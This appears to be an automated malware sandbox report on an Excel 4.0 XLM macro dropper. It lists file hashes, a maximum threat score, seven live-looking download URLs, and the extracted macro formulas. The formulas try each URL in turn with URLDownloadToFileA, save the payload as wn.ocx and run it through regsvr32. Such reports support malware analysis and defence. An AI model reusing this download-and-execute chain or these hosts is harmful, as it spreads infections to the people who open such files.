2d9f907fc29a9dd4a57745aa58c2d49006f2690de78a03b617959ad781c8d0c2

General

Target

2d9f907fc29a9dd4a57745aa58c2d49006f2690de78a03b617959ad781c8d0c2
Size

44KB
Sample

241120-1nzp7stejh
MD5

945ff27b8e7cf5aa963f504d096a66bd
SHA1

7e77fad9f1391a905c2235dcf8c9e6b37390fbf3
SHA256

2d9f907fc29a9dd4a57745aa58c2d49006f2690de78a03b617959ad781c8d0c2
SHA512

da40bb901c394f4ad0ce6defdcc255fb0f9c44387b166e034c492f09f6ba3dc440d2101f98ca7e58676e68fe7a2ee13913e7f39efd759e6af32ec6b4e7be3e3d
SSDEEP

768:C1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:CKItBvGazLRYIzhqOisNz8OP6Tein0Vo

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://www.agretto.com/Template/ziasuz5w8pS08Gm2/

http://www.agnesleung.com/raw.backup/j4ry/

https://lifebotl.com/Response/WllkQWM/

https://livejagat.com/h/SjpRvD/

http://185.187.70.35/wordpress_bo/srvoaI2MBFc/

http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/

http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://www.agretto.com/Template/ziasuz5w8pS08Gm2/

xlm40.dropper

http://www.agnesleung.com/raw.backup/j4ry/

xlm40.dropper

https://lifebotl.com/Response/WllkQWM/

xlm40.dropper

https://livejagat.com/h/SjpRvD/

xlm40.dropper

http://185.187.70.35/wordpress_bo/srvoaI2MBFc/

xlm40.dropper

http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/

xlm40.dropper

http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/